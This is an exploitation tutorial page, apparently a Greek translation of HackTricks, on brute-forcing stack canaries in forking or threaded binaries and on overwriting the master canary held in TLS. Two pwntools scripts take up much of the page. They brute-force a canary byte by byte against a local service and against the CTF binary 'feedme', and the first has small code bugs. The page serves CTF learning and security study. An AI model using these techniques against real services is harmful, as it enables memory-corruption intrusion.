# BF Forked & Threaded Stack Canaries

{{#include ../../../banners/hacktricks-training.md}}

**Αν αντιμετωπίζετε ένα δυαδικό αρχείο που προστατεύεται από ένα canary και PIE (Position Independent Executable) πιθανότατα χρειάζεστε να βρείτε έναν τρόπο να τα παρακάμψετε.**

![](<../../../images/image (865).png>)

> [!TIP]
> Σημειώστε ότι **`checksec`** μπορεί να μην αναγνωρίσει ότι ένα δυαδικό αρχείο προστατεύεται από ένα canary αν αυτό έχει μεταγλωττιστεί στατικά και δεν είναι ικανό να αναγνωρίσει τη λειτουργία.\
> Ωστόσο, μπορείτε να το παρατηρήσετε χειροκίνητα αν βρείτε ότι μια τιμή αποθηκεύεται στο στοίβα στην αρχή μιας κλήσης λειτουργίας και αυτή η τιμή ελέγχεται πριν την έξοδο.

## Brute force Canary

Ο καλύτερος τρόπος για να παρακάμψετε ένα απλό canary είναι αν το δυαδικό αρχείο είναι ένα πρόγραμμα **που δημιουργεί παιδικές διεργασίες κάθε φορά που δημιουργείτε μια νέα σύνδεση** με αυτό (υπηρεσία δικτύου), γιατί κάθε φορά που συνδέεστε σε αυτό **θα χρησιμοποιείται το ίδιο canary**.

Έτσι, ο καλύτερος τρόπος για να παρακάμψετε το canary είναι απλά να **το παρακάμψετε με brute-force χαρακτήρα προς χαρακτήρα**, και μπορείτε να καταλάβετε αν το μαντεμένο byte του canary ήταν σωστό ελέγχοντας αν το πρόγραμμα έχει καταρρεύσει ή συνεχίζει τη κανονική του ροή. Σε αυτό το παράδειγμα η λειτουργία **παρακάμπτει ένα canary 8 Bytes (x64)** και διακρίνει μεταξύ ενός σωστά μαντεμένου byte και ενός κακού byte απλά **ελέγχοντας** αν μια **απάντηση** επιστρέφεται από τον διακομιστή (ένας άλλος τρόπος σε **άλλη κατάσταση** θα μπορούσε να είναι η χρήση ενός **try/except**):

### Example 1

Αυτό το παράδειγμα έχει υλοποιηθεί για 64 bits αλλά θα μπορούσε να υλοποιηθεί εύκολα και για 32 bits.
```python
from pwn import *

def connect():
r = remote("localhost", 8788)

def get_bf(base):
canary = ""
guess = 0x0
base += canary

while len(canary) < 8:
while guess != 0xff:
r = connect()

r.recvuntil("Username: ")
r.send(base + chr(guess))

if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()

print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base

canary_offset = 1176
base = "A" * canary_offset
print("Brute-Forcing canary")
base_canary = get_bf(base) #Get yunk data + canary
CANARY = u64(base_can[len(base_canary)-8:]) #Get the canary
```
### Παράδειγμα 2

This is implemented for 32 bits, but this could be easily changed to 64bits.\
Also note that for this example the **program expected first a byte to indicate the size of the input** and the payload.
```python
from pwn import *

# Here is the function to brute force the canary
def breakCanary():
known_canary = b""
test_canary = 0x0
len_bytes_to_read = 0x21

for j in range(0, 4):
# Iterate up to 0xff times to brute force all posible values for byte
for test_canary in range(0xff):
print(f"\rTrying canary: {known_canary} {test_canary.to_bytes(1, 'little')}", end="")

# Send the current input size
target.send(len_bytes_to_read.to_bytes(1, "little"))

# Send this iterations canary
target.send(b"0"*0x20 + known_canary + test_canary.to_bytes(1, "little"))

# Scan in the output, determine if we have a correct value
output = target.recvuntil(b"exit.")
if b"YUM" in output:
# If we have a correct value, record the canary value, reset the canary value, and move on
print(" - next byte is: " + hex(test_canary))
known_canary = known_canary + test_canary.to_bytes(1, "little")
len_bytes_to_read += 1
break

# Return the canary
return known_canary

# Start the target process
target = process('./feedme')
#gdb.attach(target)

# Brute force the canary
canary = breakCanary()
log.info(f"The canary is: {canary}")
```
## Threads

Οι νήματα της ίδιας διαδικασίας θα **μοιράζονται το ίδιο canary token**, επομένως θα είναι δυνατό να **brute-forc**e ένα canary αν το δυαδικό δημιουργεί ένα νέο νήμα κάθε φορά που συμβαίνει μια επίθεση.

Επιπλέον, μια **υπερχείλιση buffer σε μια θηλυκή συνάρτηση** που προστατεύεται με canary θα μπορούσε να χρησιμοποιηθεί για να **τροποποιήσει το κύριο canary που αποθηκεύεται στο TLS**. Αυτό συμβαίνει επειδή, μπορεί να είναι δυνατό να φτάσουμε στη θέση μνήμης όπου αποθηκεύεται το TLS (και επομένως, το canary) μέσω μιας **bof στο stack** ενός νήματος.\
Ως αποτέλεσμα, η μείωση είναι άχρηστη επειδή ο έλεγχος χρησιμοποιείται με δύο canaries που είναι τα ίδια (αν και τροποποιημένα).\
Αυτή η επίθεση εκτελείται στην αναφορά: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

Δείτε επίσης την παρουσίαση του [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) που αναφέρει ότι συνήθως το **TLS** αποθηκεύεται με **`mmap`** και όταν δημιουργείται ένα **stack** ενός **νήματος** δημιουργείται επίσης από `mmap` σύμφωνα με αυτό, το οποίο μπορεί να επιτρέπει την υπερχείλιση όπως φαίνεται στην προηγούμενη αναφορά.

## Other examples & references

- [https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html](https://guyinatuxedo.github.io/07-bof_static/dcquals16_feedme/index.html)
- 64 bits, no PIE, nx, BF canary, write in some memory a ROP to call `execve` and jump there.

{{#include ../../../banners/hacktricks-training.md}}